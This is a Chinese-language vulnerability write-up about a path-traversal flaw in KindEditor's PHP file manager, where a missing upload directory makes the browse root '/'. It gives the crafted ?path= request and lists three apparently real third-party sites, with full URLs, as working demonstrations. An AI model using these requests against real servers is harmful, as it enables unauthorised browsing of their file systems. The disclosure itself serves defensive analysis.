因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。
下载地址:
貌似是最新版本的。
测试语言:php
测试漏洞文件:/kindeditor/php/file_manager_json.php
默认配置(第16行):
$root_path = $php_path . '../attached/';
当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子:
$root_path = $php_path . '../../../upload/';
这个cms下面的目录根本就没得这个目录,所以就造成了漏洞。
怎么造成了漏洞的呢?我们分析下。
第三十八行:
$current_path = realpath($root_path) . '/';
当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的'/'
$current_path所以默认就等于'/'
当提交了$_get['path']以后,而且$_get['path']要以'/'为结尾(有验证),所以,我们就可以构造浏览全盘目录了。
kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录)
接着上面给出验证的(互联网找到几个):
先给本地的(attached文件夹被我删了):


互联网找到的:
http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image

http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/

http://www.bndvalve.com/public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/
修复方案:再验证下绝对路径?
发表评论